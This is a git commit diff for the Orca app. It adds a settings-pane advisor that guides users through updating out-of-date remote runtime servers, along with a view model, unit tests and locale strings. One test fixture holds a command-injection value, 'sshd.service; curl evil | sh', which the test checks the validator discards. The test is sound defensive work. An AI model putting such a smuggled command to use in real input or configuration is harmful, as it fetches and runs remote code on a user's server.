mirror of
https://github.com/stablyai/orca.git
synced 2026-10-18 16:03:17 +00:00
feat(settings): render remote server update advisor for blocked runtime environments
Co-authored-by: Orca <help@stably.ai>
This commit is contained in:
@@ -53,6 +53,8 @@ import {
|
||||
getWebRuntimeEnvironmentsSearchEntry
|
||||
} from './runtime-environments-search'
|
||||
import { unwrapRuntimeRpcResult } from '@/runtime/runtime-rpc-client'
|
||||
import { RuntimeUpdateAdvisor, type RuntimeUpdateRecheckState } from './RuntimeUpdateAdvisor'
|
||||
import { parseEndpointPortHint } from './runtime-update-advisor-model'
|
||||
import { useAppStore } from '@/store'
|
||||
import { translate } from '@/i18n/i18n'
|
||||
import { cn } from '@/lib/utils'
|
||||
@@ -259,6 +261,9 @@ export function RuntimeEnvironmentsPane({
|
||||
const [switchingValue, setSwitchingValue] = useState<string | null>(null)
|
||||
const [removingId, setRemovingId] = useState<string | null>(null)
|
||||
const [disconnectingId, setDisconnectingId] = useState<string | null>(null)
|
||||
const [recheckStateById, setRecheckStateById] = useState<
|
||||
Record<string, RuntimeUpdateRecheckState>
|
||||
>({})
|
||||
const [pendingSwitchValue, setPendingSwitchValue] = useState<string | null>(null)
|
||||
const [pendingRemove, setPendingRemove] = useState<PublicKnownRuntimeEnvironment | null>(null)
|
||||
const [addServerFormOpen, setAddServerFormOpen] = useState(false)
|
||||
@@ -675,6 +680,56 @@ export function RuntimeEnvironmentsPane({
|
||||
}
|
||||
}
|
||||
|
||||
// "Check again" from the update advisor: re-read status through the raw,
|
||||
// non-asserting RPC (unwrap only, never assertRuntimeStatusCompatible) so
|
||||
// detection/versions keep rendering, then re-evaluate compatibility. On an ok
|
||||
// verdict the blocked row clears back to the normal view; on continued
|
||||
// incompatibility the advisor shows an inline "still out of date" note.
|
||||
const recheckEnvironment = async (environment: PublicKnownRuntimeEnvironment): Promise<void> => {
|
||||
setRecheckStateById((current) => ({ ...current, [environment.id]: 'checking' }))
|
||||
try {
|
||||
const response = await window.api.runtimeEnvironments.getStatus({
|
||||
selector: environment.id,
|
||||
timeoutMs: 15_000
|
||||
})
|
||||
const runtimeStatus = unwrapRuntimeRpcResult<RuntimeStatus>(response)
|
||||
const compatibility = evaluateHostDetails(runtimeStatus)
|
||||
useAppStore.getState().setRuntimeEnvironmentStatus(environment.id, {
|
||||
status: runtimeStatus,
|
||||
checkedAt: Date.now()
|
||||
})
|
||||
if (!mountedRef.current) {
|
||||
return
|
||||
}
|
||||
setDetailsByEnvironmentId((current) => ({
|
||||
...current,
|
||||
[environment.id]: { status: 'ready', runtimeStatus, compatibility, error: null }
|
||||
}))
|
||||
setRecheckStateById((current) => ({
|
||||
...current,
|
||||
[environment.id]: compatibility.kind === 'blocked' ? 'still-blocked' : 'idle'
|
||||
}))
|
||||
} catch (error) {
|
||||
useAppStore.getState().setRuntimeEnvironmentStatus(environment.id, {
|
||||
status: null,
|
||||
checkedAt: Date.now()
|
||||
})
|
||||
if (!mountedRef.current) {
|
||||
return
|
||||
}
|
||||
setDetailsByEnvironmentId((current) => ({
|
||||
...current,
|
||||
[environment.id]: {
|
||||
status: 'error',
|
||||
runtimeStatus: null,
|
||||
compatibility: null,
|
||||
error: error instanceof Error ? error.message : String(error)
|
||||
}
|
||||
}))
|
||||
setRecheckStateById((current) => ({ ...current, [environment.id]: 'idle' }))
|
||||
}
|
||||
}
|
||||
|
||||
const switchToValue = async (value: string): Promise<boolean> => {
|
||||
if (value === NO_RUNTIME_VALUE) {
|
||||
return false
|
||||
@@ -866,7 +921,7 @@ export function RuntimeEnvironmentsPane({
|
||||
<div
|
||||
key={environment.id}
|
||||
data-settings-section={environment.id}
|
||||
className="flex items-center gap-3 px-4 py-3"
|
||||
className="px-4 py-3"
|
||||
>
|
||||
{(() => {
|
||||
const details = detailsByEnvironmentId[environment.id]
|
||||
@@ -875,6 +930,8 @@ export function RuntimeEnvironmentsPane({
|
||||
const connectionState = getRuntimeServerConnectionState(details)
|
||||
// A connected host exposes Disconnect; otherwise Connect.
|
||||
const isReachable = connectionState === 'connected'
|
||||
const blockedVerdict =
|
||||
details?.compatibility?.kind === 'blocked' ? details.compatibility : null
|
||||
const actionBusy =
|
||||
connectingId === environment.id ||
|
||||
switchingValue === environment.id ||
|
||||
@@ -882,109 +939,119 @@ export function RuntimeEnvironmentsPane({
|
||||
removingId === environment.id
|
||||
return (
|
||||
<>
|
||||
<Server className="size-4 shrink-0 text-muted-foreground" />
|
||||
<div className="min-w-0 flex-1">
|
||||
<div className="flex min-w-0 items-center gap-2">
|
||||
<div className="truncate text-sm font-medium">{environment.name}</div>
|
||||
<span
|
||||
className={cn(
|
||||
'size-2 shrink-0 rounded-full',
|
||||
getRuntimeServerDotClass(connectionState)
|
||||
)}
|
||||
/>
|
||||
<span className="text-[11px] text-muted-foreground">
|
||||
{getRuntimeServerConnectionLabel(connectionState)}
|
||||
</span>
|
||||
{details?.compatibility?.kind === 'blocked' ? (
|
||||
<AlertTriangle className="size-3.5 shrink-0 text-destructive" />
|
||||
) : details?.status === 'loading' ? (
|
||||
<Loader2 className="size-3.5 shrink-0 animate-spin text-muted-foreground" />
|
||||
<div className="flex items-center gap-3">
|
||||
<Server className="size-4 shrink-0 text-muted-foreground" />
|
||||
<div className="min-w-0 flex-1">
|
||||
<div className="flex min-w-0 items-center gap-2">
|
||||
<div className="truncate text-sm font-medium">{environment.name}</div>
|
||||
<span
|
||||
className={cn(
|
||||
'size-2 shrink-0 rounded-full',
|
||||
getRuntimeServerDotClass(connectionState)
|
||||
)}
|
||||
/>
|
||||
<span className="text-[11px] text-muted-foreground">
|
||||
{getRuntimeServerConnectionLabel(connectionState)}
|
||||
</span>
|
||||
{details?.compatibility?.kind === 'blocked' ? (
|
||||
<AlertTriangle className="size-3.5 shrink-0 text-destructive" />
|
||||
) : details?.status === 'loading' ? (
|
||||
<Loader2 className="size-3.5 shrink-0 animate-spin text-muted-foreground" />
|
||||
) : null}
|
||||
</div>
|
||||
<p className="truncate text-xs text-muted-foreground">
|
||||
{isActive
|
||||
? translate(
|
||||
'auto.components.settings.RuntimeEnvironmentsPane.activeServerRowHelp',
|
||||
'Active server for server-routed projects, terminals, and provider checks.'
|
||||
)
|
||||
: getHostDetailsSummary(details)}
|
||||
</p>
|
||||
{/* Blocked hosts render the full advisor below the row,
|
||||
so the truncated line is kept only for error states. */}
|
||||
{detailsDescription && !blockedVerdict ? (
|
||||
<p className="mt-0.5 truncate text-xs text-muted-foreground">
|
||||
{detailsDescription}
|
||||
</p>
|
||||
) : null}
|
||||
</div>
|
||||
<p className="truncate text-xs text-muted-foreground">
|
||||
{isActive
|
||||
? translate(
|
||||
'auto.components.settings.RuntimeEnvironmentsPane.activeServerRowHelp',
|
||||
'Active server for server-routed projects, terminals, and provider checks.'
|
||||
)
|
||||
: getHostDetailsSummary(details)}
|
||||
</p>
|
||||
{detailsDescription ? (
|
||||
<p
|
||||
className={cn(
|
||||
'mt-0.5 truncate text-xs',
|
||||
details?.compatibility?.kind === 'blocked'
|
||||
? 'text-destructive'
|
||||
: 'text-muted-foreground'
|
||||
)}
|
||||
>
|
||||
{detailsDescription}
|
||||
</p>
|
||||
) : null}
|
||||
</div>
|
||||
<div className="flex shrink-0 items-center gap-1">
|
||||
{isReachable ? (
|
||||
<Button
|
||||
type="button"
|
||||
variant="ghost"
|
||||
size="xs"
|
||||
className="gap-1.5"
|
||||
onClick={() => void disconnectEnvironment(environment)}
|
||||
disabled={actionBusy}
|
||||
>
|
||||
{disconnectingId === environment.id ? (
|
||||
<Loader2 className="size-3 animate-spin" />
|
||||
) : (
|
||||
<ServerOff className="size-3" />
|
||||
)}
|
||||
{translate(
|
||||
'auto.components.settings.RuntimeEnvironmentsPane.disconnect',
|
||||
'Disconnect'
|
||||
)}
|
||||
</Button>
|
||||
) : (
|
||||
<Button
|
||||
type="button"
|
||||
variant="ghost"
|
||||
size="xs"
|
||||
className="gap-1.5"
|
||||
onClick={() => void connectEnvironment(environment)}
|
||||
disabled={actionBusy || connectionState === 'checking'}
|
||||
>
|
||||
{connectingId === environment.id ? (
|
||||
<Loader2 className="size-3 animate-spin" />
|
||||
) : (
|
||||
<Server className="size-3" />
|
||||
)}
|
||||
{translate(
|
||||
'auto.components.settings.RuntimeEnvironmentsPane.connect',
|
||||
'Connect'
|
||||
)}
|
||||
</Button>
|
||||
)}
|
||||
<Button
|
||||
type="button"
|
||||
variant="ghost"
|
||||
size="icon"
|
||||
onClick={() => {
|
||||
setRemoveError(null)
|
||||
setPendingRemove(environment)
|
||||
}}
|
||||
className="size-7 text-muted-foreground hover:text-red-400"
|
||||
disabled={isBusy}
|
||||
aria-label={translate(
|
||||
'auto.components.settings.RuntimeEnvironmentsPane.aeb26635d2',
|
||||
'Remove {{value0}}',
|
||||
{ value0: environment.name }
|
||||
)}
|
||||
>
|
||||
{removingId === environment.id ? (
|
||||
<Loader2 className="size-3 animate-spin" />
|
||||
<div className="flex shrink-0 items-center gap-1">
|
||||
{isReachable ? (
|
||||
<Button
|
||||
type="button"
|
||||
variant="ghost"
|
||||
size="xs"
|
||||
className="gap-1.5"
|
||||
onClick={() => void disconnectEnvironment(environment)}
|
||||
disabled={actionBusy}
|
||||
>
|
||||
{disconnectingId === environment.id ? (
|
||||
<Loader2 className="size-3 animate-spin" />
|
||||
) : (
|
||||
<ServerOff className="size-3" />
|
||||
)}
|
||||
{translate(
|
||||
'auto.components.settings.RuntimeEnvironmentsPane.disconnect',
|
||||
'Disconnect'
|
||||
)}
|
||||
</Button>
|
||||
) : (
|
||||
<Trash2 className="size-3" />
|
||||
<Button
|
||||
type="button"
|
||||
variant="ghost"
|
||||
size="xs"
|
||||
className="gap-1.5"
|
||||
onClick={() => void connectEnvironment(environment)}
|
||||
disabled={actionBusy || connectionState === 'checking'}
|
||||
>
|
||||
{connectingId === environment.id ? (
|
||||
<Loader2 className="size-3 animate-spin" />
|
||||
) : (
|
||||
<Server className="size-3" />
|
||||
)}
|
||||
{translate(
|
||||
'auto.components.settings.RuntimeEnvironmentsPane.connect',
|
||||
'Connect'
|
||||
)}
|
||||
</Button>
|
||||
)}
|
||||
</Button>
|
||||
<Button
|
||||
type="button"
|
||||
variant="ghost"
|
||||
size="icon"
|
||||
onClick={() => {
|
||||
setRemoveError(null)
|
||||
setPendingRemove(environment)
|
||||
}}
|
||||
className="size-7 text-muted-foreground hover:text-red-400"
|
||||
disabled={isBusy}
|
||||
aria-label={translate(
|
||||
'auto.components.settings.RuntimeEnvironmentsPane.aeb26635d2',
|
||||
'Remove {{value0}}',
|
||||
{ value0: environment.name }
|
||||
)}
|
||||
>
|
||||
{removingId === environment.id ? (
|
||||
<Loader2 className="size-3 animate-spin" />
|
||||
) : (
|
||||
<Trash2 className="size-3" />
|
||||
)}
|
||||
</Button>
|
||||
</div>
|
||||
</div>
|
||||
{blockedVerdict && details?.runtimeStatus ? (
|
||||
<RuntimeUpdateAdvisor
|
||||
verdict={blockedVerdict}
|
||||
status={details.runtimeStatus}
|
||||
portHint={parseEndpointPortHint(
|
||||
environment.endpoints.find(
|
||||
(candidate) => candidate.id === environment.preferredEndpointId
|
||||
)?.endpoint ?? environment.endpoints[0]?.endpoint
|
||||
)}
|
||||
recheckState={recheckStateById[environment.id] ?? 'idle'}
|
||||
onRecheck={() => void recheckEnvironment(environment)}
|
||||
/>
|
||||
) : null}
|
||||
</>
|
||||
)
|
||||
})()}
|
||||
|
||||
@@ -0,0 +1,227 @@
|
||||
import { AlertTriangle, Download, ExternalLink, Loader2, RefreshCw } from 'lucide-react'
|
||||
import type { RuntimeCompatVerdict } from '../../../../shared/protocol-compat'
|
||||
import type { RuntimeStatus } from '../../../../shared/runtime-types'
|
||||
import type {
|
||||
RuntimeUpdateGuide,
|
||||
RuntimeUpdateGuideLink,
|
||||
RuntimeUpdateGuideStep
|
||||
} from '../../../../shared/runtime-update-guide'
|
||||
import { NativeChatCopyButton } from '../native-chat/NativeChatCopyButton'
|
||||
import { Button } from '../ui/button'
|
||||
import { translate } from '@/i18n/i18n'
|
||||
import { buildRuntimeUpdateAdvisorGuide } from './runtime-update-advisor-model'
|
||||
|
||||
/** 'checking' disables the button and shows a spinner; 'still-blocked' means the
|
||||
* last recheck came back incompatible, so an inline note confirms the click had
|
||||
* an effect even though the environment stays blocked. */
|
||||
export type RuntimeUpdateRecheckState = 'idle' | 'checking' | 'still-blocked'
|
||||
|
||||
type RuntimeUpdateAdvisorProps = {
|
||||
verdict: RuntimeCompatVerdict
|
||||
status: RuntimeStatus
|
||||
portHint?: number
|
||||
recheckState: RuntimeUpdateRecheckState
|
||||
onRecheck: () => void
|
||||
}
|
||||
|
||||
export function RuntimeUpdateAdvisor({
|
||||
verdict,
|
||||
status,
|
||||
portHint,
|
||||
recheckState,
|
||||
onRecheck
|
||||
}: RuntimeUpdateAdvisorProps): React.JSX.Element | null {
|
||||
const guide = buildRuntimeUpdateAdvisorGuide({ verdict, status, portHint })
|
||||
if (!guide) {
|
||||
return null
|
||||
}
|
||||
return (
|
||||
<div className="mt-2 space-y-3 rounded-lg border border-border/60 bg-muted/20 p-3">
|
||||
<div className="flex items-start gap-2">
|
||||
<AlertTriangle className="mt-0.5 size-4 shrink-0 text-destructive" />
|
||||
<div className="min-w-0 space-y-1">
|
||||
<h4 className="text-sm font-semibold">{guide.title}</h4>
|
||||
<p className="text-xs leading-relaxed text-muted-foreground">
|
||||
{guide.direction === 'client-too-old' ? guide.message : guide.primary}
|
||||
</p>
|
||||
</div>
|
||||
</div>
|
||||
{guide.direction === 'client-too-old' ? (
|
||||
<ClientUpdateAction />
|
||||
) : (
|
||||
<ServerUpdateGuide guide={guide} />
|
||||
)}
|
||||
<RecheckRow recheckState={recheckState} onRecheck={onRecheck} />
|
||||
</div>
|
||||
)
|
||||
}
|
||||
|
||||
// ── client-too-old: local updater only, never server commands ──────────
|
||||
|
||||
function ClientUpdateAction(): React.JSX.Element {
|
||||
// Why: the desktop updater surfaces its own progress/result via the global
|
||||
// UpdateCard, so triggering a check here is the whole action. Guarded because
|
||||
// web/mobile builds may not expose the updater — those get the release link.
|
||||
const canCheckForUpdates = typeof window.api.updater?.check === 'function'
|
||||
return (
|
||||
<div className="flex flex-wrap items-center gap-2">
|
||||
{canCheckForUpdates ? (
|
||||
<Button
|
||||
type="button"
|
||||
variant="default"
|
||||
size="xs"
|
||||
className="gap-1.5"
|
||||
onClick={() => void window.api.updater.check({ includePrerelease: false })}
|
||||
>
|
||||
<Download className="size-3" />
|
||||
{translate(
|
||||
'auto.components.settings.RuntimeUpdateAdvisor.checkForUpdates',
|
||||
'Check for updates'
|
||||
)}
|
||||
</Button>
|
||||
) : null}
|
||||
<AdvisorLink
|
||||
link={{
|
||||
label: translate(
|
||||
'auto.components.settings.RuntimeUpdateAdvisor.downloadOrca',
|
||||
'Download the latest Orca'
|
||||
),
|
||||
url: 'https://github.com/stablyai/orca/releases'
|
||||
}}
|
||||
/>
|
||||
</div>
|
||||
)
|
||||
}
|
||||
|
||||
// ── server-too-old: versions, detection, copyable steps, links ─────────
|
||||
|
||||
function ServerUpdateGuide({
|
||||
guide
|
||||
}: {
|
||||
guide: Extract<RuntimeUpdateGuide, { direction: 'server-too-old' }>
|
||||
}): React.JSX.Element {
|
||||
return (
|
||||
<div className="space-y-3">
|
||||
<ServerUpdateMeta guide={guide} />
|
||||
{guide.steps.length > 0 ? (
|
||||
<ol className="space-y-2">
|
||||
{guide.steps.map((step, index) => (
|
||||
<li key={index}>
|
||||
<AdvisorStep step={step} />
|
||||
</li>
|
||||
))}
|
||||
</ol>
|
||||
) : null}
|
||||
{guide.links.length > 0 ? (
|
||||
<div className="flex flex-wrap items-center gap-x-4 gap-y-1">
|
||||
{guide.links.map((link) => (
|
||||
<AdvisorLink key={link.url} link={link} />
|
||||
))}
|
||||
</div>
|
||||
) : null}
|
||||
</div>
|
||||
)
|
||||
}
|
||||
|
||||
function ServerUpdateMeta({
|
||||
guide
|
||||
}: {
|
||||
guide: Extract<RuntimeUpdateGuide, { direction: 'server-too-old' }>
|
||||
}): React.JSX.Element {
|
||||
const protocolLine = translate(
|
||||
'auto.components.settings.RuntimeUpdateAdvisor.protocolLine',
|
||||
'Server protocol {{value0}}, this client requires {{value1}}.',
|
||||
{
|
||||
value0: guide.protocol.running,
|
||||
value1: guide.protocol.required ?? '—'
|
||||
}
|
||||
)
|
||||
return (
|
||||
<div className="space-y-0.5 text-xs text-muted-foreground">
|
||||
<p>{protocolLine}</p>
|
||||
{guide.detectedLine ? <p>{guide.detectedLine}</p> : null}
|
||||
{guide.serverVersion ? (
|
||||
<p>
|
||||
{translate(
|
||||
'auto.components.settings.RuntimeUpdateAdvisor.serverVersion',
|
||||
'Server version {{value0}}.',
|
||||
{ value0: guide.serverVersion }
|
||||
)}
|
||||
</p>
|
||||
) : null}
|
||||
{guide.latestVersion ? (
|
||||
<p>
|
||||
{translate(
|
||||
'auto.components.settings.RuntimeUpdateAdvisor.latestVersion',
|
||||
'Latest version {{value0}}.',
|
||||
{ value0: guide.latestVersion }
|
||||
)}
|
||||
</p>
|
||||
) : null}
|
||||
</div>
|
||||
)
|
||||
}
|
||||
|
||||
function AdvisorStep({ step }: { step: RuntimeUpdateGuideStep }): React.JSX.Element {
|
||||
if (step.kind === 'prose') {
|
||||
return <p className="text-xs leading-relaxed text-muted-foreground">{step.text}</p>
|
||||
}
|
||||
// A command block is a suggestion for the user to run on the server (typically
|
||||
// over their own SSH session) — never a command Orca executes.
|
||||
return (
|
||||
<div className="relative rounded-md border border-border/60 bg-muted/40">
|
||||
<pre className="scrollbar-sleek overflow-x-auto whitespace-pre px-3 py-2 pr-9 font-mono text-xs leading-relaxed text-foreground">
|
||||
{step.text}
|
||||
</pre>
|
||||
<NativeChatCopyButton text={step.text} className="absolute right-1 top-1" />
|
||||
</div>
|
||||
)
|
||||
}
|
||||
|
||||
function AdvisorLink({ link }: { link: RuntimeUpdateGuideLink }): React.JSX.Element {
|
||||
return (
|
||||
<Button
|
||||
type="button"
|
||||
variant="link"
|
||||
size="xs"
|
||||
className="h-auto gap-1 px-0"
|
||||
onClick={() => void window.api.shell.openUrl(link.url)}
|
||||
>
|
||||
<ExternalLink className="size-3" />
|
||||
{link.label}
|
||||
</Button>
|
||||
)
|
||||
}
|
||||
|
||||
function RecheckRow({
|
||||
recheckState,
|
||||
onRecheck
|
||||
}: {
|
||||
recheckState: RuntimeUpdateRecheckState
|
||||
onRecheck: () => void
|
||||
}): React.JSX.Element {
|
||||
const checking = recheckState === 'checking'
|
||||
return (
|
||||
<div className="flex flex-wrap items-center gap-2 border-t border-border/50 pt-2">
|
||||
<Button
|
||||
type="button"
|
||||
variant="outline"
|
||||
size="xs"
|
||||
className="gap-1.5"
|
||||
onClick={onRecheck}
|
||||
disabled={checking}
|
||||
>
|
||||
{checking ? <Loader2 className="size-3 animate-spin" /> : <RefreshCw className="size-3" />}
|
||||
{translate('auto.components.settings.RuntimeUpdateAdvisor.checkAgain', 'Check again')}
|
||||
</Button>
|
||||
{recheckState === 'still-blocked' ? (
|
||||
<span className="text-xs text-muted-foreground">
|
||||
{translate(
|
||||
'auto.components.settings.RuntimeUpdateAdvisor.stillOutOfDate',
|
||||
'Still out of date. Update the server, then check again.'
|
||||
)}
|
||||
</span>
|
||||
) : null}
|
||||
</div>
|
||||
)
|
||||
}
|
||||
@@ -0,0 +1,134 @@
|
||||
import { describe, expect, it } from 'vitest'
|
||||
import {
|
||||
buildRuntimeUpdateAdvisorGuide,
|
||||
deriveRuntimeUpdateGuideInput,
|
||||
parseEndpointPortHint
|
||||
} from './runtime-update-advisor-model'
|
||||
import {
|
||||
describeRuntimeCompatBlock,
|
||||
type RuntimeCompatVerdict
|
||||
} from '../../../../shared/protocol-compat'
|
||||
import { DEFAULT_SERVICE_NAME } from '../../../../shared/runtime-update-info-validation'
|
||||
import type { RuntimeStatus, RuntimeUpdateInfo } from '../../../../shared/runtime-types'
|
||||
|
||||
const CLIENT_TOO_OLD: RuntimeCompatVerdict = {
|
||||
kind: 'blocked',
|
||||
reason: 'client-too-old',
|
||||
clientProtocolVersion: 1,
|
||||
serverProtocolVersion: 5,
|
||||
requiredClientProtocolVersion: 4
|
||||
}
|
||||
|
||||
const SERVER_TOO_OLD: RuntimeCompatVerdict = {
|
||||
kind: 'blocked',
|
||||
reason: 'server-too-old',
|
||||
clientProtocolVersion: 5,
|
||||
serverProtocolVersion: 1,
|
||||
requiredServerProtocolVersion: 4
|
||||
}
|
||||
|
||||
const OK: RuntimeCompatVerdict = {
|
||||
kind: 'ok',
|
||||
clientProtocolVersion: 5,
|
||||
serverProtocolVersion: 5
|
||||
}
|
||||
|
||||
function status(updateInfo?: RuntimeUpdateInfo): RuntimeStatus {
|
||||
return {
|
||||
runtimeId: 'remote-runtime',
|
||||
rendererGraphEpoch: 0,
|
||||
graphStatus: 'ready',
|
||||
authoritativeWindowId: null,
|
||||
liveTabCount: 0,
|
||||
liveLeafCount: 0,
|
||||
hostPlatform: 'linux',
|
||||
updateInfo
|
||||
}
|
||||
}
|
||||
|
||||
describe('buildRuntimeUpdateAdvisorGuide verdict branching', () => {
|
||||
it('returns null when the verdict is ok', () => {
|
||||
expect(buildRuntimeUpdateAdvisorGuide({ verdict: OK, status: status() })).toBeNull()
|
||||
})
|
||||
|
||||
it('routes client-too-old to the local updater with no server command blocks', () => {
|
||||
// Even when the server advertises a command-producing install shape, the
|
||||
// client-too-old path must never surface server commands.
|
||||
const guide = buildRuntimeUpdateAdvisorGuide({
|
||||
verdict: CLIENT_TOO_OLD,
|
||||
status: status({ installKind: 'linux-appimage', restartKind: 'systemd' })
|
||||
})
|
||||
expect(guide?.direction).toBe('client-too-old')
|
||||
if (guide?.direction !== 'client-too-old') {
|
||||
throw new Error('expected client-too-old guide')
|
||||
}
|
||||
expect(guide.localUpdate).toBe(true)
|
||||
expect(guide.message).toBe(describeRuntimeCompatBlock(CLIENT_TOO_OLD))
|
||||
// The client-too-old shape has no steps field at all — no command blocks.
|
||||
expect('steps' in guide).toBe(false)
|
||||
})
|
||||
|
||||
it('produces copyable command steps for a server-too-old AppImage host', () => {
|
||||
const guide = buildRuntimeUpdateAdvisorGuide({
|
||||
verdict: SERVER_TOO_OLD,
|
||||
status: status({ installKind: 'linux-appimage', restartKind: 'systemd' }),
|
||||
portHint: 6900
|
||||
})
|
||||
if (guide?.direction !== 'server-too-old') {
|
||||
throw new Error('expected server-too-old guide')
|
||||
}
|
||||
expect(guide.steps.some((step) => step.kind === 'command')).toBe(true)
|
||||
expect(guide.protocol).toEqual({ running: 1, required: 4 })
|
||||
})
|
||||
})
|
||||
|
||||
describe('deriveRuntimeUpdateGuideInput trust boundary', () => {
|
||||
it('passes untrusted updateInfo through validation before building the guide', () => {
|
||||
const derived = deriveRuntimeUpdateGuideInput({
|
||||
verdict: SERVER_TOO_OLD,
|
||||
status: status({
|
||||
installKind: 'linux-appimage',
|
||||
restartKind: 'systemd',
|
||||
// Injection attempt: must be discarded and replaced with the default.
|
||||
serviceName: 'sshd.service; curl evil | sh',
|
||||
// Unrecognized enum → 'unknown' is never surfaced here because
|
||||
// installKind above is valid, but a bad hostArch must be dropped.
|
||||
hostArch: 'sparc'
|
||||
}),
|
||||
portHint: 6900
|
||||
})
|
||||
expect(derived.installKind).toBe('linux-appimage')
|
||||
expect(derived.restartKind).toBe('systemd')
|
||||
expect(derived.serviceName).toBe(DEFAULT_SERVICE_NAME)
|
||||
expect(derived.hostArch).toBeUndefined()
|
||||
expect(derived.port).toBe(6900)
|
||||
// assetUrl is owned by a later unit and must stay unset here.
|
||||
expect(derived.assetUrl).toBeUndefined()
|
||||
})
|
||||
|
||||
it('maps unrecognized install/restart kinds to unknown', () => {
|
||||
const derived = deriveRuntimeUpdateGuideInput({
|
||||
verdict: SERVER_TOO_OLD,
|
||||
status: status({
|
||||
installKind: 'made-up-kind' as RuntimeUpdateInfo['installKind'],
|
||||
restartKind: 'made-up' as RuntimeUpdateInfo['restartKind']
|
||||
})
|
||||
})
|
||||
expect(derived.installKind).toBe('unknown')
|
||||
expect(derived.restartKind).toBe('unknown')
|
||||
})
|
||||
})
|
||||
|
||||
describe('parseEndpointPortHint', () => {
|
||||
it('extracts an explicit port from the paired endpoint', () => {
|
||||
expect(parseEndpointPortHint('wss://example.com:6768/pair')).toBe(6768)
|
||||
})
|
||||
|
||||
it('returns undefined without an explicit port or for unparseable input', () => {
|
||||
expect(parseEndpointPortHint('wss://example.com/pair')).toBeUndefined()
|
||||
expect(parseEndpointPortHint('not a url')).toBeUndefined()
|
||||
expect(parseEndpointPortHint(undefined)).toBeUndefined()
|
||||
expect(parseEndpointPortHint(null)).toBeUndefined()
|
||||
expect(parseEndpointPortHint('')).toBeUndefined()
|
||||
})
|
||||
})
|
||||
@@ -0,0 +1,77 @@
|
||||
// Why: pure derivation of the advisor's view model from the compat verdict and
|
||||
// the blocked server's status. Kept out of the React component so the
|
||||
// verdict-branching logic (client-too-old renders no server commands) can be
|
||||
// unit-tested without rendering, and so the trust boundary — always running raw
|
||||
// `status.updateInfo` through the shared validator — lives in one place.
|
||||
|
||||
import type { RuntimeCompatVerdict } from '../../../../shared/protocol-compat'
|
||||
import type { RuntimeStatus } from '../../../../shared/runtime-types'
|
||||
import {
|
||||
buildRuntimeUpdateGuide,
|
||||
type RuntimeUpdateGuide,
|
||||
type RuntimeUpdateGuideInput
|
||||
} from '../../../../shared/runtime-update-guide'
|
||||
import { validateRuntimeUpdateInfo } from '../../../../shared/runtime-update-info-validation'
|
||||
|
||||
export type RuntimeUpdateAdvisorModelInput = {
|
||||
verdict: RuntimeCompatVerdict
|
||||
status: RuntimeStatus
|
||||
/** Port from the client's own paired endpoint — a hint the guide falls back
|
||||
* from when absent. Never sourced from server metadata. */
|
||||
portHint?: number
|
||||
}
|
||||
|
||||
/**
|
||||
* Derive the guide-matrix input from the verdict + status. `status.updateInfo`
|
||||
* is untrusted server data, so it always passes through `validateRuntimeUpdateInfo`
|
||||
* before any field selects a template or fills a placeholder. `assetUrl` is left
|
||||
* unset — a later unit supplies exact release asset URLs.
|
||||
*/
|
||||
export function deriveRuntimeUpdateGuideInput(
|
||||
input: RuntimeUpdateAdvisorModelInput
|
||||
): RuntimeUpdateGuideInput {
|
||||
const validated = validateRuntimeUpdateInfo(input.status.updateInfo)
|
||||
return {
|
||||
verdict: input.verdict,
|
||||
hostPlatform: input.status.hostPlatform,
|
||||
installKind: validated.installKind,
|
||||
restartKind: validated.restartKind,
|
||||
hostArch: validated.hostArch,
|
||||
serviceName: validated.serviceName,
|
||||
installPath: validated.installPath,
|
||||
currentVersion: validated.currentVersion,
|
||||
latestVersion: validated.latestVersion,
|
||||
updateAvailable: validated.updateAvailable,
|
||||
docsUrl: validated.docsUrl,
|
||||
port: input.portHint
|
||||
}
|
||||
}
|
||||
|
||||
/** null when the verdict is not a block: the advisor renders nothing. */
|
||||
export function buildRuntimeUpdateAdvisorGuide(
|
||||
input: RuntimeUpdateAdvisorModelInput
|
||||
): RuntimeUpdateGuide | null {
|
||||
return buildRuntimeUpdateGuide(deriveRuntimeUpdateGuideInput(input))
|
||||
}
|
||||
|
||||
/**
|
||||
* Best-effort port hint parsed from the client-owned paired endpoint string
|
||||
* (e.g. `wss://host:6768/...`). Returns undefined when the endpoint carries no
|
||||
* explicit port or cannot be parsed, so the guide uses its documented default.
|
||||
*/
|
||||
export function parseEndpointPortHint(endpoint: string | undefined | null): number | undefined {
|
||||
if (!endpoint) {
|
||||
return undefined
|
||||
}
|
||||
let parsed: URL
|
||||
try {
|
||||
parsed = new URL(endpoint)
|
||||
} catch {
|
||||
return undefined
|
||||
}
|
||||
if (!parsed.port) {
|
||||
return undefined
|
||||
}
|
||||
const port = Number(parsed.port)
|
||||
return Number.isInteger(port) ? port : undefined
|
||||
}
|
||||
@@ -9247,6 +9247,15 @@
|
||||
},
|
||||
"MobileRelayBetaNotice": {
|
||||
"notice": "Orca Relay is in beta."
|
||||
},
|
||||
"RuntimeUpdateAdvisor": {
|
||||
"checkForUpdates": "Check for updates",
|
||||
"downloadOrca": "Download the latest Orca",
|
||||
"protocolLine": "Server protocol {{value0}}, this client requires {{value1}}.",
|
||||
"serverVersion": "Server version {{value0}}.",
|
||||
"latestVersion": "Latest version {{value0}}.",
|
||||
"checkAgain": "Check again",
|
||||
"stillOutOfDate": "Still out of date. Update the server, then check again."
|
||||
}
|
||||
},
|
||||
"right": {
|
||||
|
||||
@@ -9224,6 +9224,15 @@
|
||||
},
|
||||
"MobileRelayBetaNotice": {
|
||||
"notice": "Orca Relay is in beta."
|
||||
},
|
||||
"RuntimeUpdateAdvisor": {
|
||||
"checkForUpdates": "Check for updates",
|
||||
"downloadOrca": "Download the latest Orca",
|
||||
"protocolLine": "Server protocol {{value0}}, this client requires {{value1}}.",
|
||||
"serverVersion": "Server version {{value0}}.",
|
||||
"latestVersion": "Latest version {{value0}}.",
|
||||
"checkAgain": "Check again",
|
||||
"stillOutOfDate": "Still out of date. Update the server, then check again."
|
||||
}
|
||||
},
|
||||
"right": {
|
||||
|
||||
@@ -9224,6 +9224,15 @@
|
||||
},
|
||||
"MobileRelayBetaNotice": {
|
||||
"notice": "Orca Relay is in beta."
|
||||
},
|
||||
"RuntimeUpdateAdvisor": {
|
||||
"checkForUpdates": "Check for updates",
|
||||
"downloadOrca": "Download the latest Orca",
|
||||
"protocolLine": "Server protocol {{value0}}, this client requires {{value1}}.",
|
||||
"serverVersion": "Server version {{value0}}.",
|
||||
"latestVersion": "Latest version {{value0}}.",
|
||||
"checkAgain": "Check again",
|
||||
"stillOutOfDate": "Still out of date. Update the server, then check again."
|
||||
}
|
||||
},
|
||||
"right": {
